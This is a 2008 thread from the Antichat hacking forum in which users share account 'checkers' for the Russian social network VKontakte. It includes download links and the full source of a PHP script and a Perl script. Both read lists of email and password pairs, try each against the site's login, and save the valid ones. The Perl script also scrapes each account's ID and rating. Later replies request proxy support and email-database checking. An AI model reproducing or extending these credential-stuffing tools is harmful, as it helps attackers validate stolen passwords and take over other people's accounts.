Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
30.05.2008, 19:28
|
|
Участник форума
Регистрация: 06.12.2006
Сообщений: 174
Провел на форуме:
1700952
Репутация:
199
|
|
VKontakte checker
[ VKontakte checker ]
Наверно самый простой чекер для vkontakte.ru, он проверяет аккаунты на валидность и положительный результат записывает в файл.
Список аккаунтов должен находиться в accounts.txt
Результат будет в good.txt
Отделение от почты и пароля точка с запятой. ( my@mail.ru;password )
Качаем:
http://slil.ru/25848279
http://ifolder.ru/control/?file_id=6786993&code=88c0db639fdf36418d763ad7c966 a6d0
http://dump.ru/file_catalog/379934.aspx
Написан на PHP скомпилирован bamcompile
P.s: Only for Windows.
|
|
|
30.05.2008, 19:47
|
|
Banned
Регистрация: 30.05.2008
Сообщений: 1
Провел на форуме:
5162
Репутация:
0
|
|
спасибо большое,
|
|
|
|
03.06.2008, 18:18
|
|
Участник форума
Регистрация: 02.04.2006
Сообщений: 273
Провел на форуме:
1269624
Репутация:
114
|
|
а зах компилить было можно вопрос??
Или типа это мега супер приват?!
|
|
|
|
06.06.2008, 04:59
|
|
Постоянный
Регистрация: 08.01.2006
Сообщений: 865
Провел на форуме:
3279330
Репутация:
343
|
|
какая хер разница писал он делает что хочет
|
|
|
|
06.06.2008, 17:14
|
|
Познающий
Регистрация: 06.08.2007
Сообщений: 85
Провел на форуме:
1695462
Репутация:
91
|
|
А нет ли похожей штуки, только чтобы он проверял базу мыл и скидывал только те что есть на вконтакте, а не уже сбрученные?
|
|
|
|
06.06.2008, 17:41
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме:
5321514
Репутация:
3313
|
|
Эх
PHP код:
<?php
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
#&-------------------------------
#& ВКонтакте АККчекер 0.1
#& VKontakte ACCchecker 0.1
#& By NNNS::[icq: 474374]
#& All lefts reserved.
#&-------------------------------
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# User Agent
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12";
# Файл с аккаунтами
$acclist = "accounts.txt";
# Файл с валидными аккаунтами
$vallist = "valid.txt";
# Помещаем аккаунты в массив
$account = file($acclist);
# Рабочие аккаунты
$valid = 0;
# Нерабочие аккаунты
$invalid = 0;
function vkCheck($email,$pass) {
# Открываем сокет
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
# Отправляем заголовки
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
# Записываем ответ сервера в переменную
$ans=fgets($fp,128);
# Закрываем сокет
fclose($fp);
# Если 302 найден, значит акк валидный
if(preg_match("/\b302 Found\b/is", $ans)) {
return true;
} else {
return false;
}
}
# Запускаем цикл
for($i=0;$i<count($account);$i++) {
# Удаляем симолы перевода строки
$caccaunt = str_replace("\r\n","",$account[$i]);
# Разбиваем на e-mail и пароль
list($email,$pass) = explode(";",$caccaunt);
# Вызываем функцию проверки аккаунта
$answer = vkCheck($email,$pass);
# Если аккаунт рабочий, записываем его в файл
if ($answer == true) {
$fd = fopen($vallist,"a+");
fputs($fd,$account[$i]);
fclose($fd);
$valid++;
} else {
$invalid++;
}
}
# Выводим результат
echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid;
?>
перекомпилировать может даже ребенок. |
|
|
|
10.06.2008, 10:42
|
|
Moderator - Level 7
Регистрация: 29.02.2008
Сообщений: 935
Провел на форуме:
7007866
Репутация:
1914
|
|
mouse.pro - поправь ссылку на ifolder - а то ты скинул на упраление файлом)) Вот правленная - http://ifolder.ru/6786993 P.s. Срок продлил!  |
|
|
|
10.06.2008, 12:02
|
|
Moderator - Level 7
Регистрация: 29.02.2008
Сообщений: 935
Провел на форуме:
7007866
Репутация:
1914
|
|
А можно его переписать - чтобы можно было через прокси его подключить!? А то я к нету через прокси подключен....
|
|
|
|
10.06.2008, 12:04
|
|
Новичок
Регистрация: 07.02.2008
Сообщений: 28
Провел на форуме:
489325
Репутация:
0
|
|
Еще неплохо бы видеть прогресс чека....А то Loading и все =(
|
|
|
|
18.06.2008, 23:54
|
|
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541
Репутация:
214
|
|
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));
my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">  /;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE; Чекер на перле.выводит еще и рейтинг + ид
Update:
хм когда код вставляешь как пхп код то обратные слэшы режуться )
странно
Последний раз редактировалось svesve; 19.06.2008 в 00:51..
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
